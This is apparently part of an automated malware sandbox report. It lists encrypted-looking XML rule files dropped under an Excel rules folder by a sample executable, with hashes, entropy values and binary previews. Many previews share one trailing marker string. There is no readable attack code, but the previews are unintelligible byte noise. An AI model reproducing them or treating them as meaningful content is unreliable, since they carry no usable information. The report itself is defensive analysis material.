Preview:	<?xml..:?n.Ef..ip..<t97....?..).{P.`....<L......[R.4..l..4`9y.....!_.H...$C{.B.x.......%.!.b#..!.fW.>Kj3.!...2K......M40xy'7.z..{....t.Zw..K.b..`.lf...=c.?..D.o.........."B.N.<2...M.p..?@7........L.....$...8..^..o...uA.I.M...\.M.B.F.Yhn.....g#.t..\|...T....h,v.F4.......B....s..=.H.8.+I...(.^1.X.......I.o...#......d.\_d..b.OA...r.B..OP.c....L...o..%o.P.P/*...4fY{..Ns_.Q....D..(a.E......&.H.M=...U.,.4..._........b...j&'..<..J.wlk.$..Q.....z.oZ.]nPw.7F0v...\|z../z7.m.._..'......V..h.....~..m...#F.Me\q.j..X0.U..\..]D^..p..W....]....l..f..s.L.....S.nLy.R.E..2....4.xm....>.\....]R.4E.xpK.:.T..}CH6K".....vF....J.IJS..Y...D...?2.;..L..Y.^"+..R.M.....7....S.....{........q./x....'..a.q8Y.......v<Z7.P.{..../..Pl4.E3.....B.v.$.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.832472982408633
Encrypted:	false
SSDEEP:	24:u9gFT51h7NHv1jIUrNhv2PSLk9ZSg8W0sH9SBs95n0arbD:QgFH1JNjIUrNIS9gVeO95VD
MD5:	EA3A6F6A3151B43E84A9E453F974A33D
SHA1:	62641B6DAAE3633C8814CCA5F945532EA380F7FB
SHA-256:	06527E0366E9ECBF0C6A8CF1F3DD849F0DB0FEE2CA70388C2D804EEE877A8A30
SHA-512:	05675C4BB305D274E8DBBC8A62B97536D328AF9A9B2159FD3A1E8FFA16960ECE360482451F4C008AA63D0ED5B6A6107FF32BA1E6ED49F5C3FEC1CBADD5139A80
Malicious:	false
Preview:	<?xmldk..x......psA[F..g.jNq....H.Z...b<.._s...\...eY....../.E..&.b.aOdQ)..........C..).u.H.`.0ze..5..._.rf..,.tK..z.Oo....N.Q...m..>........d...L.'.Yl...qW..K.\..[..F#6CB..J..A3...B......&.Rbd.........0.[\j.).6....Wb...M.P..._..{j.'+.)...3..v..F..@Z.(........A......lS.o..9...\...}.....9...8.pA...ed~hc$...w.&.zJ.]\.kr$&.#......aX.H&t.....l...F.&..2.(........a.Sf...@..O.p..(YI....Ju.f.B..V:.~..9-.....sQ. 1....K..?.....q.D.v..:n.....$F..x\.....-.J]@..h..A';..........j.w.I.>......p....X.F.p.. .Q(h....Bf...@'.......E.y.:#t'......v..@.....sV..8.J..?.-..E?....&Yk...z.&..8.0......!?D..b.@....4^xw_..N:..e......u...u....m.LU..Nwp.=~V#....\..o.6v.c\|.Jj.u.(.'*..k.0..Y..8....J.../..GB6(l......$vg^0.W..1x.$.'N......\.S ...S...La.E.%D.....LA...3....Vg.Q0`2.K....B.......e.E.:?..D3.S=..l..#h..#TP..2..b.@A....f.\..H..%}..,G...o.N...$E...</...Y..._l..z,<.gr.^........j.'"........p@l...q.;(.hm.U1s.].d..?..19.x.p.Ombg.d\....aG.b.J.o..~C.xf.I.I....F.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	YAC archive data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8290480510106155
Encrypted:	false
SSDEEP:	24:ajDtwy2Tndg7jY5rTsDfCr+DoozZwMeV8ylD8QybD:al2T6ErYfCrTRS+8LD
MD5:	29CAD951ED2A58D394D1C583FAA44C60
SHA1:	AB658376AAC65092669F4F5D7285F74A8CA398B7
SHA-256:	FA25031970C4CA4B56229397810E8D45E9E5ADC78F799A7568140B75350628FE
SHA-512:	968ED8E55DDFF184C5AE64500E0B4398842DA139C5D7082E855EED7F4754966F775E318598334D44F69E215F2300328C008BB5DB2BF4B507942D02B4298BF0F7
Malicious:	false
Preview:	<?xml.... &...YC...t#[%......[aPTK..E*!.v{.7..Y.$='`.&../.T.i.}...N...%,.........w.g.......k&.........n..z9..[r.......}T....6.?D.?g1.I&.?..z..s....Fm,2.A.b..8B^.)5.xz.$c...).;s...}k.Z.....e..e..$`?.W...y>.O..h.....a...+.U.A..1...........6..i.'..P. .n(.rU.9.r.yT!m......).F...G..".G0...[o}.Y."..0..D.h.f!`.H].;.p._.+...k..k>.ED......./....4...A..Y..P.pI.#.X..{<...w.. .....FkoH\...kb..i..'_. .\|...LW...b1.x....9.M.._..k.3.0.....^N'n.......5d3.x.?`Rh]......,..M.F%!<..[.q@%.Il.c.....6/s4..P..n...}....,.>"0].C,xY.FA..Hb..b..x.A....a<..K~....J...S>m.#........'..MB..9Y..q..P...].......L1......Ff.o..Y.,.../D..y.pm7J~4..0...C..T\,...W....q. ).y.\|+......@..L....#.....`].....K<.S..#.......V4..O......~.$wO....B..@-K...o..#....R...L.$..`{..N.7M..3..R.B.BWa...b..YB\|8....2{-a...PI.S6.t._.....p.%..".!X.i.[....K^..gh.x.V.Cl..Z.xq....S.1......%T........W9..3m..\|{.w5.E&.l..<.P...%.%....%..{3.\.s..k.....~..\..f..y..u..b..M..{0.&.pi..X...S4......Jf.n...!....MG........W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.807008571335857
Encrypted:	false
SSDEEP:	24:Nc7miPe2R9CQS/3/GsAUNexrbGlM0x3coyfQNP1cUPAQAJ87LGQIbD:Nc7V5MP/3/UwlMEclF8AQH/SD
MD5:	49964578AF852019B0F6F9DD9FBBCD07
SHA1:	9CC6C4577DDC3B7D5D3F6B9E100AFCDAB818C717
SHA-256:	D017FE8E8D2AB882DA16058AE646B9D1508F4B181F8FFE5C8B68B265A63A9C33
SHA-512:	7092AB653FB5A0ECAA32A0B5AF46DD84E964D5DA731BCF62D9CA193F65D6F1E5EF975ECCD0036023AAFA4946D2698C0C4CA4FFCF6133B967F857851DF5136EDD
Malicious:	false
Preview:	<?xmlO3...pK{..gAc..i.e..M.F....W.wZ.....KZ3c...M........i...s.....w.k......2kM......X.....-.2\|RM..N... .>..A........E..m.RV...G.!..}...8_....$.C..?.g..].>..g5HV-......3Y........w..Z.7....c.....p#.e.~H.K(...a2...Tj.yyse...v.K6>/_..Z7....9...S..b_....j..h.b..T....em..Z.FM........r...`...o$...35.MD.A,vt....v..f.}4...Y.....l.....\S..\|s..g.H.....dY.._0..#.....P.P...~......t.J.. .z.....B... Q]N....P.Ms`f......N.V..p.....U.@V....G.C...w...Kp..Xv..........V.S@...1....KY.......P..>.b...d(.>Sz.gv...D..3.\..#..A.;t..X.s%.....z0f..iX...u.r.....jD.........PQN.....T..A.LY.P...+.R..},...;.#sx.../\,.......l/..K.WF..C.....`.3..4.l5..\...c]..=[\ ...ZA..*^..\S..;...B.]......\|%....1.y..y.fP..j.Tr_....s.E....[.U...z$ ....n.1 ....W......."...Vg.l#i.k.;.....R.2F..G?o.e;.\....J.~...R....S@WO;.....(.2...J..$.._..I0sF.Cs.....g..Q.C.....P..j..K..(M..aD.2\r...~..N...T_...r.%i.!T./......6...?dHYL.M#.y....e...k0.V.U.<....">...8..........\3.jA.Bs.K........4.._L$~...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.790363836639896
Encrypted:	false
SSDEEP:	24:b1UULhjTDXpfqp0bHUWZLI6xYkce8BjoKlI5bETuXORJEHTybD:bOUNfD59bbZE6xJ8l6bETugD
MD5:	5A2EA0228A4728DB9EFEF5D59A654C44
SHA1:	74CBF0C31BECBBB507E75C339B4959175F7FE55E
SHA-256:	5AD851AE3A6CBD25D9D0BC44E94EFB39C662C094E3E2C8E5C631AE3196EF01F1
SHA-512:	C24C23C10471BB6226838ADA25801FCE6C795281AD619382596DB86C3AD12A56787E0EF2CB4C58D7F5D6FA2BF669D07B699B91DA782D22DCAF4109DE4BC48D79
Malicious:	false
Preview:	<?xml....^...<...}.B.s.%...q.8[. #1~...5......x.ve..j.L...I..Y...b........mlL?...,%.l..SlX.Ck{....$........X...6b...qp!_..$zu........-d.o[...w.Dr..~i....N7.2..j.........=4.q.BXy...A.....Y/...H.'H.+.vh.?....1uz.y...A<o.....y.......C.q.._5......T..3...F......K~.:.].Z....5.T....,........ju8....x.....{,...T%z....L.+%v..!x.. .&......D...Y..&...7WF_2.Y.8..,......7D.k?M..gf3N+.w.)>..[$C...+......\GH..S...U.pm.Qo2.v..O.3j.L\{.<.gHs.....#8.%Z.._".....:.R.xp._....Z,.f...M....0..7=...2=TO.6.kd,w4.>..FTYa..S}y..S..-.lk....HAZ...P...k5.a.1.yg...P8o.&...'.C...q.......>.Y..B..w'z%....)d..y.k.{.d.7.Ut..1.B.A...e..<oX..O..g..u..P_...=....A};.ra_.Dy.-..`...>./.'l.....Vg.....0.A....(-..+...:gkl'."h.,..n...6.=...2....P.P....?.....-J...w.[...MW.Y.....FI5...`.j3.>.~.7.1...+VRM.c..0y..0ah.gO.oA......m..........l.7'r.gA......x......$\|...(..'n<...p.n.N..6.C..6...xy.....0..i....i.4..k.......{=-.^....=.Q.H..e+Z4tQ.26...W..}=pG...4.+?.s.0..f.....j9....A.x.=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.8354700111052304
Encrypted:	false
SSDEEP:	24:grNzqhFN+me1Lq9Zuivfm0MZo7e98HlcXvbD:1hP+mpuiHaZoVlcjD
MD5:	3D1605A709A65BE3CF886829E9571BB6
SHA1:	F3F00DD27BC891AC5936351D34EC4D3236439F56
SHA-256:	811D3B37C2C5F1DBFDE632099F3FBB2BE0BF30500EC1A66B41D3AB60F82B8C36
SHA-512:	73D33574BFBEB04A759C151730A7B5C0524E13EDEDFB2C846D3539E464EB9EF2D1F57ACD806A593C17D034F54CAC8AFBC252518814883D2EA83673C47B48CD45
Malicious:	false
Preview:	<?xml.G...+\|..id.=.U4.\|s...:....#.W.u.....D..ns.A........RZ.....6..4x...8..+........-.A......G..>.C..{...o.......s.c'.....{4.{y..2.n.1>....N.J.......'..."/.W....r5b.k`.n!ih...M.....1.j.9#.PvS.WS.I...n.........!...f..X...O1/k.........>...49...2..=.^.c.........t....8..".~...V......@b...Il.7..B\|h.3......L....&.K.]...bWR.m.C.....a...........].U....Pw\...5-$....G...o..... ......t.;.qd..[^,n{..W....J...........&.r..S..N..{rc.W..E..H<-.2......[....L..'..X~.?+w..#v.z.....j.B;....Q..z"t.`c...W.M....u8.^A..P..n"M....yL#.....R.J.\..VhY.m....r..=.e..A.:.?.xR.?.a._..P.........%..kr1...1.u.o>.'ep.G...uf>O.m.....H..E.w..."..?./{...+.\H>.i..!P....5C.Y.P.a.V.`^...,..Q....X.7..B/(.{&~.u.@...N...........&..jy.!u.......3.;k......P.x'M.v...TjV...R-C.Uc......0......4...y..#.b_N.......I..a6,zoO(:..o9./'..o....{\|..........V.m[..c[v.k[.....)..B.F...trgqQb.......FBM`N[..Zg....y..\.*...Z...H..9tu"...J.Ma.>0A.H.h.....C..o..[d...K..>..{@&.4.D..SD....?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.833671580804122
Encrypted:	false
SSDEEP:	24:nLZB+woIM3ocLvBvhWu++S0Nl7iKPVjBzh/6CbxerfDXEFtBW53bD:nLXWn3ocLvCu++SSlLzNxIrbEFXWFD
MD5:	D25B948096D434B81A6681ACE471BA34
SHA1:	CE4F2544D13D750DA4321C5F970F843EDB493B81
SHA-256:	9E3D57667DE77026B97768CFED7C3BA5114DF4BFC1C0BC3FA5FF9C5461E4F327
SHA-512:	CAA6AB39FEC6B9B1C53536C3512FCBD55460B047C18A11A760FAC226D7A2254B1D83A5658052E7866EC649C4CE786CCCC7A39024A3A9227029EF630B46DB36CC
Malicious:	false
Preview:	<?xml....s.>NA.......V..#...TG.J.,...z.x....Y3....(...........T....m...Y~:. g....Z...c.....h....%R....^..5%.e..D..L.J...!./.....&Z)....h.=....do..eqX...ph2...;.L...G...l.....b..-/F.2.;.EZ...l2........e.....A......2f..d._...#."..{.k.... *.%e...w.{PF...32.yY..u....&....x....1.n.;.=..$::........L.sBC....E.....xSU.v.u..Y..P...{...u..ah..V.bi-.W..`.w.,..D........."2.O\aPIAX.hS..e.#.w.........(O..{.\....u1...h.j..D....uitRo.}..;.nZ;....t.s..g....b.g..7k.x'....9.^.G....nU.N+....q.9.[.S2..t.".....N..p.\|....\...],...i.o......r. ..G..g.,b.fK......]..v.t.f..T#+>..C.6b.V....{W.>6...Q..'..#v%.:.{2.1.......G.T.......{...05.s5:.I..o.zm9K.a.~.a2.)..}.U@....$N.d}T.......R....FX...D...).fw.e.2w..A.q....(. ..g...j.:_..!5!R..d<b...p.._..{....{$\|y.D.M@......a...A.}.w.y@...i5..->.&Z..l...-.._..6.16........J^..t..1....Q?>.s.O..k..K.....m`.9?TQ..?...g.`a..>..Ix.u....1......-...th........B.. uA......7.ws.@.[[..5.Z.z.X..........M+...y.r5...g>/....n.O./../...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.802364384888149
Encrypted:	false
SSDEEP:	24:IIlFcJGwOlmYb6j2nyfvzaPUFl2gOrM03F4S/bD:NNwOAYb6j2aa4lVOg+tD
MD5:	3787109DAD5D4B20B9964BEBDA4BDA3B
SHA1:	D97D2190DC637B1BD8E9BC8EE57F7278E9FB0097
SHA-256:	A5CE8C423B2A0944DB9BB48236C9E4E571C705EFF4945B79DCE3C08477D151BF
SHA-512:	0E41BEAC6AD36F4D1EC6AE1D289C52E847AAD75B6E254541F3EF973407D35AC82B6E86788EDA7EFF935FD2F72301331EEDB2918F523D85F61D7282D288485AC7
Malicious:	false
Preview:	<?xml.Yu ..&iL,...O...'.0..5...5"....f..`..yA.9l[..,.(.~..[o#.R...23..~V.\........f>.):....,x.'6...2........?..Z.O...6...g.y...X.^.G.I..&1..w,..U.6Z..U....% .......T$...<...~..{Y.Ql..Z.[....a..mU..[TT..3.D....~U.....I.U.4M..K..k).&(t.a4...\|_.[3.4.D.x...!G..8..?I54!.N...nSc..2..I.S~..z3..X4A...?UA....\|`e.eMM0!.<Q....q.F..!._z.....W^..+I...l1\.GZ.G...d...:$../V>a...........,....:..y6......,A..S..&.Y.C;...Q..%m..{..]7.ql-.y.=.@.+.z.b.n..'.i<......zz...._.5....2./..O.b.........#Cb..i...#.Z......f...T.4-......}...71^;.Q....0..S.i......gz.g....S...Iy..mP..+e.@y.yU.`.$.."..d...A.s....r.......2...F6....`+...W...}Uv..jo.H... O.re...j...4.{.....1w6........J....Z.~.Ty....F...E...,..$....4C........,...(.x..J.dJ.R.{.r..U#.5.....0....0...VM.?....1-.&..6..{...7.;...B/8s.WOW..=_.....`..ULZ..MP#].q....e...E.B......I.......6..d...Y.l#.@..=[........{.f....b$..2...gp...:...s+.....70.........#.......Ty.Rd.B..p.r......b..........E.5....iT3\|..LQbDo

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.800461831800631
Encrypted:	false
SSDEEP:	24:GCfe29eT4rPQiWysWM5LYpWfJcwTtMybD:fW2rrPWysF5UpW7JMgD
MD5:	2E3B41B190FD1E29075013C78BB368AA
SHA1:	60C849F360B9F86C1E14D4B9BBE8BBD088BC69EA
SHA-256:	9A6A41277E758609A8D11A2DE8BD3823F642F209D33A69697F57231AE5DD6F14
SHA-512:	5969368FDED5014AB9E9313595B4FBEDF334B22878CCD6BFA97AD8191A5D1D23F366C9F2D5ADC325E8D89E984A51AE81FD898428ED7DB3F87DA1EB82BA78C00D
Malicious:	false
Preview:	<?xml..w..G..1?{....C.i.......+[.7.J......`..(_.)\/..=...Z3..X.9k..\|_@..56....(........v.}.......#...M..H.i.+kx..n......4G...'.2...D..QD.e...w..X.Hs......./..'$6......._.].C...Nb0.2J.!.h.....1...<_..C}..0(.M.$3...;.G..+^E/.L]..&RQd..I._..d#H....K.1.........~.^VZ...!V...$1.e$...nb... ~nk.D.mm...a.J.J...8E...e]...&'..y+}<...+%.#.8...v:....$.../.R9.0.............Y.[."..uvQ.tQ+=....-..Hir.....JT....=.P....9.p.y....[.].....R7.lGU.H....Z%eqL_.zgs....L..t.V_.N].n:..z....I..Z.F.G..p..,....i...j.}...l..9.;.A"..i(.J......@.[.`.....4.R1.P..n..}........Q.~.....B]...v...&4..!.\|..T.o..Yg9.....#\|.6\|S.vUx.......Z.....n=.xuu.,.L.J.#..T...iz....M;t.).=.....>.".J_"d..\...1..6...>1......z.._.......ha4......u...H9..W..{3.&e .T<.].-..N;..\|(P._r..a...y$.......5.. $rmF...i9.b.M.\...C...6EQ.\|.xw.zb2.....R.d...'..@xRlm\LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.746375958278532
Encrypted:	false
SSDEEP:	24:Q2x12pSaPfq4PXdXUluevwLSnBSZDWlIQhCbD:Q2cCGt1LMSZJQWD
MD5:	F92228D0CC567803F3762FF3C9B61265
SHA1:	9730794B9B94D07FCF5021A7F6EEAE4BFF6DA7DB
SHA-256:	A7062FF430B6A74B9EB92D2B5ACF1411F8A2FDA8224BA999A7AD4F2EAC450B7C
SHA-512:	60AD1F735AB4663455FE58150836119AAA04A9B2DA08159BE9156908B49431816D9B6BFBDA3EF9F132C5107CFFAB58C8E0AB46C4CBE0444D640279393163589C
Malicious:	false
Preview:	<?xml-.., ..Z..BN.]%....E.{k:vE.....Q=Y.i..3kt.9.lt....?l.A..s....]]....B...8....../c...v4~.E+....0............^._~/.../c......>a.....6...F...~Q..XaB..L..W?..y.9.....7(V...F.G._....`.{.S....7...@w._.......=-W..[.V.-B..V.....&.u-.4..%Z...o.._...}.2.<T......d..O....M...].o.X.U.....i.?.<...C..Y.w.._.14.=...x.b[....f..K..&.n...<.p.QX4..2...4..B..{@..=..\_. ....a..[...e......_}[...3z..!K..#._A3F.......6@V.,......s.R...4..i..5........."...4<.?...:..^....5.C...i..}...]...-.1k....vT........\..@.M..A\>\|.g...4....3~..v?....}.....:.........m,...<..=;,C!...B@..".hc@.^).....;..nc.g.%.c&_.F..r"....$...P......(.<9..il...xS.n.........6....,..E..Q.y.~..1..1o.c..y.e..O..(..m...D.}.@.{{..........(U.U..6.uW..k@..,x&e..:..pKz.e......U%xe4PN....5U...ko...@P...0....&n..E:.1.G(.^L..d.s@..0..*.=[../;;.oLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.751162521356025
Encrypted:	false
SSDEEP:	24:Gv0eopCwzwvFGOp/RfhCRk9dkIQH0q04veqXcxtbD:Gseov8MQfhCUkIc90SLXc3D
MD5:	92F1DD9D7DE3DAAD194E5A25BB30F8CD
SHA1:	8023897C2C917BB84B8073C2A592DA659F557A47
SHA-256:	150AF122260D9305D1DCAEAF2B7FF9DE7DDF019FAEDC15E3A421AF4AFE471678
SHA-512:	F0E2073BC4659B54327208A72B1124F7E3A05167B917D3EB4594A840DA0A608A368969E48B516C3BBD8B0EA4A6C24083DEFC1AA5DFD162B9218FE850B9E91F10
Malicious:	false
Preview:	<?xmln..~..^........b.d....X...z.wx......u.J.~e.MH...H.EQ.y..7....=QM.....`....j...i..`O.Q...@...@.....&.. /: F.x I%@.7.5..ddw...V&..E.ik2[x9..4......T..r..h..H.:..l...iw......X.].ksX..}?.?.....&..f./.7s..3.. ......a.f.8...Dj.Q...dB../......L.......a@.=.J.. [RH>.6...n.m..(..F..x'.1.....!n4.....%. 2%..........b.R....O.....{.....68..}....5...2.I....l..b...'...8.T,s..w.'......1.!.iT.08@.Te..%..^K.<.:g..aM...........+xX,.(..3......U..;..&a"E#...BI...H..d.R......3[.Kmm..J.N.I.k...@.Xn.GO..N'...l...H... .U.../j...8..$......@.;;N..?.....&.l...W.y...f.Ha.`...&9...J.......F.....Z...c..-.w.M......r..D..v......".&..5.....,e..9.T'.F.JUN+.>...o?s#.w..N...\.4w$..c..n..Z.....m........v.e......b.EA5.5.....<o..HQ*b...C..L.K....(N{m.k.(/.z..@.0`..^.7....&Y..nu....$E+..wDa...s.G..%&..I.\.K.1!L.V(..O...Q.....kU:Y...T.<hx.q.aIF.B.0..>RLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.7965235183734585
Encrypted:	false
SSDEEP:	24:UE/1zh/BpvSRo+L8bK75kPeMLrfrVRLOdYsY0bD:UE/1zhpp6RV8++PPXBROYGD
MD5:	8DA8E6E3D6E9E7FC69A988D98A3E2EAF
SHA1:	9929DBDDEDB558EE9127FFA3C2EC08FE4A206ADA
SHA-256:	538795A63D47971D79103A92FD1E41377731FA2CD2E7EB7A44D4E544F7257DC6
SHA-512:	6C21C31903E2AF51D250B300DE49E69256E9ECF608ADB79DCCD060F8BD8C2D5E0F9D4D52F7EB5A862EF6F99E5364E7D094529E7E0FCA490C47012220741B05D6
Malicious:	false
Preview:	<?xml...0.=,.Q6.._J..N..x.K..i../{.4.MU..4..4!C.[1....@RIY... ..C..L...!\xJ.h.j#.#.A....Z..K.3..,.]s.:5.$...n.2,....\|.e."..?.#.2.o..fCT..m...M..e{.`....a.+..n...K...7+...l.2[.....5x......h40..PhZ.U.s.,.c.H\|>......p.....t.....g..68.L...Mv.'2.C.h..W..q.$.9................\....}..7.D+..3s'......W....+KO..-..f.4.u...jX..".j^.!p;.F`...D.u.T..i.!.0.tH:.v..Y{.#...6.!..%.....dQ5.......:..'.ZM...........&.w..@.<.)JKB..lz.B{x2;m6;.'.Q..........$.$..._-....A....Q...<.^T..(..s...J.O@T..Y.Q...Yr.s...?...W.<......N....2.a..(y..;..#.W..~.....`I.c.k_\|.........Z...g...c...J5....$..........^)j..^./.q..);...5..{R..q.l2..)........z....^[.S.X.>z.....j9....l8..5O..M.S/\.s.;.4f...f.J.a7.1.i..~./....ezW.U.%.M..h... rh....O.o...N.....@......6..;<.f...R...T...g\.R.....s.r..*.'3=#.zlHN]...p.+...........p.Z........8...0.:'.$J...g-._f....n..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.785768000173813
Encrypted:	false
SSDEEP:	24:NbRig1wbCvLvkkdzyKWcGiOZ8SGDxlezmCbD:HiIWC3RWjZMxoqQD
MD5:	CC0274B892BB4FCA2C5A4438F376F8C5
SHA1:	0464FC7A61CCFB852EDBF85B3D1830CD80729F1E
SHA-256:	774CA320FBDBEDAEC322F64FDD5FF7605182E0CD463A276F76A97EC60FDFCF07
SHA-512:	DFFC4559FCDE16EAF8924A1C97BB5B361BB32A9C5AA5805736B56660CF95CD2AC7476718DF38E349C222BB95638F9DEA77E14719C4FF6AEC59FABF390D4478FD
Malicious:	false
Preview:	<?xml.r.W.`u....Q.uy.{gP.J..[.^.#.......$..N..h..?.k.@$.`?...c....laUN.#...}.r.....RJ.M=.gf..mKV.T...R.FD..'.%..u.......x_...!n.....J.9.q......7.t.].T...c.........Y..2..A2....@.s0.).=^.Y.JI....HU....~..".q..@.GAnYbkkC..2.L.c.eW....P...3.n.z.F..q.....4..n...~...@..K..pUE+ ../..i.P..{.....(...:...f.....O&.0.-.L&..f..`.r\|....0......b.s....i.....R2-Da.....4......X.iN.".T..g.pY.oi._6...C....I.......H.T..H......;.?nP...H{....6.......Z2F".^...]R..c.... 91.E.M.6...O....y.\....i..zR..x.....D.O..]'..U@Vy.<.}..,...`q..e..K."...pz..z.Lu)c..uO..lg'..o..n%.g)N.=...0.J.JD..ho>.Xh...a......D(nt.8Z......ww.^7ls.}...Z<..b87`c......W..?.....@\|..s...5..z=..$.j......X....t...*...BW~.Dz.#.kVj..t..4Y0&..r..5'......3...o..\|.d...._......x.....z.5.rt.1...V.L.v7..~..._...a^......;}...4.xl..}6^.T...S+.'..wO.3..P.3c..v.^w9z..Xo....b.e...L.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.772709131674755
Encrypted:	false
SSDEEP:	24:iImOnScyAQW4O4e+8zba48G80N/frGgbD:RmOScy8ZFW48/0N/frG6D
MD5:	DCE24B51B8E1C05CBEF96B2B140943A0
SHA1:	17587ADF685841BFE53993F0353BD93963857290
SHA-256:	7C78F721BAE787A7346D60C28B69F1EB615D1E1C011E3D3B69E8505B1E95EA62
SHA-512:	0D219EC95C4A94B8BE78AED587174014EE192A5CCAD03044C081E84DE09CA6CF5F5831E52DA5BFF7B9C34E06A51B9649D531CEA03151D3F128656956BC645D17
Malicious:	false
Preview:	<?xml~.s....F.%..i...P...-.kw..Iu...V!.6..J./;B%.<)$c;.s.GO.b..+.zS.B.ZMW....&...c.y1Q......U.s...U..Zr.g...>....R...H.o.yC6.s.S...$X..<..V.V.S.......1.g....z..m)........+V.a@\|;...U$@.....g.<.+.......i./xhJG-z-I")).....Lt<.-.!'.;.....*,..S+\|..f."....e..s.o...K.cRz..0.>...H....I.a.......l.R.x.# Y.}..n\|^k..( .G0aV..f.. ys...lr.}9.....&ZJ.l..t.g..Z2=F..../.:l.vb}G<"....../4\.....m..(...Y........?......\|S.p../s,.(.-v.ne.....{.5r...2...?.l..\|}..+q.bv.......#........^.=5s...xhw..&..wa^lC.....B...HR.zg..J.4..........j.L...lf.......zOK.}.N........._...oQ....mo........M...PD.y...O.}..&(..._.U.+\|!......p.T.S.......9w......]?....x...(#.B+)D.U..]......6z..R...5.g:_.....R.Ul..y.rQ2y....B.0L.2{...6D#$ykq.5....]............K.NjA.k~...s..w6.N..g-p 1......(;.^.B1<.j>O....>$.^..../..\.}..l....JL.....-.s.I.WJ.\|...i..s...j?.......7.~uI.....q..I.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.762286961454457
Encrypted:	false
SSDEEP:	24:CbLpcaBKlIHsXVBubGRNUFaiUbXZRPuIXSCoF1bbD:mLp1BU3VIgNUObXNxoFxD
MD5:	6E264059B3A74092DB645A8105C1C7BB
SHA1:	B9BF494837A091882408DDBD8C0816ECD835495D
SHA-256:	0295A2F6F0F2A6C1A5B1B6E5F0C4984ADB0279AF5658D99ABEFB39C0AE29DD23
SHA-512:	CBED865811C6FC1C5107268205819A62FB9FF48B71C6E02FB26D4880571FCFC4BE59A4D90220F0D26AA76C30A5D687D03F3E558E31A9E6034F3FE44E321CBEA1
Malicious:	false
